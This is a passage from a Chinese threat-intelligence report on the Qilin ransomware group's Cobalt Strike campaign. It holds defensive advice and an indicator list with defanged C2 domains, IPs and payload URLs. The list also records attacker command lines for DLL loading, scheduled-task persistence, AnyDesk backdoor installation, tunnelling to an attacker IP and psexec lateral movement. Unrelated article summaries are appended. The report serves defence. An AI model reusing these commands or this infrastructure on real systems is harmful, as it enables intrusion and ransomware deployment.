这起事件展示了现代勒索攻击的典型节奏:攻击者在自己的工作时段完成高交互判断和横向扩展,在受害者本地凌晨触发破坏,并通过公开泄露站点进行后续施压。受害企业应关注域控、文件服务器、备份/NAS、RDS/VDI和虚拟化管理节点的安全加固,以及对异常rundll32加载、伪装vmware.exe/explorer.exe外传工具、非授权AnyDesk安装和Cobalt Strike pipe通信的持续监测。

六、防护建议

奇安信威胁情报中心提醒广大用户,谨防钓鱼攻击,切勿打开社交媒体分享的来历不明的链接,不点击执行未知来源的邮件附件,不运行标题夸张的未知文件,不安装非正规途径来源的APP。做到及时备份重要文件,更新安装补丁。

若需运行或安装来历不明的应用,可先通过奇安信威胁情报文件深度分析平台(https://sandbox.ti.qianxin.com/sandbox/page)进行判别。目前已支持包括Windows、安卓平台在内的多种格式文件深度分析。

目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。

七、IOC

MD5

文件 MD5
dns.dll 33841a902206051bcf47d0dc7049fec7
http80.dll c2ad599f3aacec5c91ec203bca7151d6
ndp48.dll 0e79de640392b62fef07a36bcb8181b2

SHA256

文件 SHA256
dns.dll 54e3d79c853f723b8e6ece83f993b51770f8485a648a8a943bc1c8d6c21db01e
http80.dll e16a038b93fe8bc8b394eb271f3c3db1ccee1efafd9623e6eeefef5a8695adc9
ndp48.dll b2cd952f411cccde09d4baf707690391843991bc5502b27062e09fc4520318c4
winvnc.x64.dll 13FEAA32E4B03EDE8799E5BEE6F8D54C3AF715A6488AD32F6287D8F504C7078B
winvnc.x86.dll C50183EED715EC2392249E334940ACF66315797A740A8FE782934352FED144C6

C&C

域名/IP 类型 说明
owa.brobinhood[.]com 域名 HTTP-brobin C2域名
www.brobinhood[.]com 域名 HTTP listener相关域名
brobinhood[.]com 域名 HTTP listener相关域名
brobingood[.]com 域名 DNS beacon域名
ns1.brobingood[.]com 域名 DNS beacon NS子域
45.66.249[.]207 IP HTTP-brobin监听IP
45.66.249[.]91 IP 操作员客户端来源
179.43.189[.]17 IP 后期操作员来源
83.147.17[.]59 IP SFTP外传与rs64备用连接

URL

URL 说明
hxxp://45.66.249[.]207:8089/file.ext 托管dns.dll
hxxp://45.66.249[.]207:8088/file.ext 托管http80.dll
hxxp://45.66.249[.]207:8081/file.ext 托管ndp48.dll

行为IOC

指标 类型 说明
C:\Windows\Temp\vmware.exe 文件/命令 伪装rclone外传工具
C:\Windows\Temp\explorer.exe 文件/命令 伪装rclone外传工具
rundll32.exe \http80.dll,StartW 命令行 http80.dll加载
schtasks /create /tn \"Indexer\" 计划任务 周期加载http80.dll
rundll32.exe c:\windows\temp\
dp48.dll,barrier 命令行 触发ndp48.dll APC loader
AnyDesk.exe --install --start-with-win 命令行 安装备用远控
rs64.exe -connect 83.147.17[.]59: 命令行 备用连接/隧道
\\.\pipe\Winsock2\CatalogChangeListener-\* 命名管道 Cobalt Strike bind pipe
jump psexec64 → ADMIN$\<随机>.exe 行为 SCM横向移动
Loader.exe beacon\_x64.bin 命令/文件 自定义加载器执行shellcode
NtdllUnhook.exe 文件/行为 反EDR/unhook尝试

八、参考链接

[1]https://ransomware.live/id/UXVhc2VyIE1hY2hpbmUgVG9vbHMsIEluY0BxaWxpbg

[2]https://www.trendmicro.com/en\_us/research/24/c/agenda-ransomware-propagates-to-vcenters-and-esxi-via-custom-pow.html

[3]https://www.trendmicro.com/vinfo/tr/security/news/ransomware-spotlight/ransomware-spotlight-agenda


赛博暗影:从暴露的CobaltStrike基础设施还原Qilin勒索团伙攻击链" 网络安全文章

赛博暗影:从暴露的CobaltStrike基础设施还原Qilin勒索团伙攻击链"

奇安信威胁情报中心近期发现并分析了勒索组织Qilin(Agenda)暴露在外的CobaltStrike攻击基础设施。该组织自2024年8月起使用CobaltStrike4.10版本,通过HTTP、DNS和SMB等多种通信方式,在2025年6月至8月期间持续对多个目标发动攻击。攻击过程包括端口扫描、凭据窃取、横向移动、数据外传,并最终投放勒索载荷。研究人员从日志中还原了完整的攻击时间线、操作员分工以及针对不同行业(如制造、工业控制)受害者的具体活动,揭示了其入侵、扩散、窃密到实施勒索的完整攻击链。
罗永浩卸任锤子软件「执行董事」;iOS27升级名单曝光;网友热议苹果输入法离谱错误|极客早知道" 网络安全文章

罗永浩卸任锤子软件「执行董事」;iOS27升级名单曝光;网友热议苹果输入法离谱错误|极客早知道"

文档汇总了2026年6月初多家科技公司的重要动态:微软宣布WinUI为Windows应用核心平台并承诺框架稳定性;苹果公布AppStore生态达1.4万亿美元但统计方式受质疑,同时曝光iOS27将淘汰A13芯片设备并升级Siri功能;罗永浩卸任锤子软件执行董事;富士康与英特尔合作开发AI基础设施;法拉利纯电车型Luce引发争议;OpenAI提出主动式AI为下一阶段方向;英伟达黄仁勋签名GTX1080显卡;苹果输入法因离谱联想词上热搜;谷歌Gemma412B模型支持多模态且可在16G设备离线运行。
关于提交AI生成漏洞报告的行为规范及违规处置通告" 网络安全文章

关于提交AI生成漏洞报告的行为规范及违规处置通告"

补天漏洞响应平台发布通告,针对白帽子使用AI工具批量生成漏洞报告导致内容失实、无法复现等问题,明确要求漏洞报告必须基于真实测试发现,使用AI辅助需人工验证核实,禁止直接提交未经核实的AI生成报告。平台对违规行为采取分级处置:累计提交5个以上无效报告者封号,少于5个者警告,呼吁合理使用AI工具并强调上报者责任。
塞瓦定理(Ceva)" 网络安全文章

塞瓦定理(Ceva)"

该文档系统阐述塞瓦定理及其逆定理,指出当三角形顶点与对边上三点的连线满足特定比例关系时三线共点,并对比梅涅劳斯定理的共线特性。核心内容包含定理的两种证明方法(正弦定理与面积法)、辅助记忆规则(逆时针轮换对称性)以及逆定理的同一法证明,强调该定理对点位置的无差异性。
评论:0   参与:  0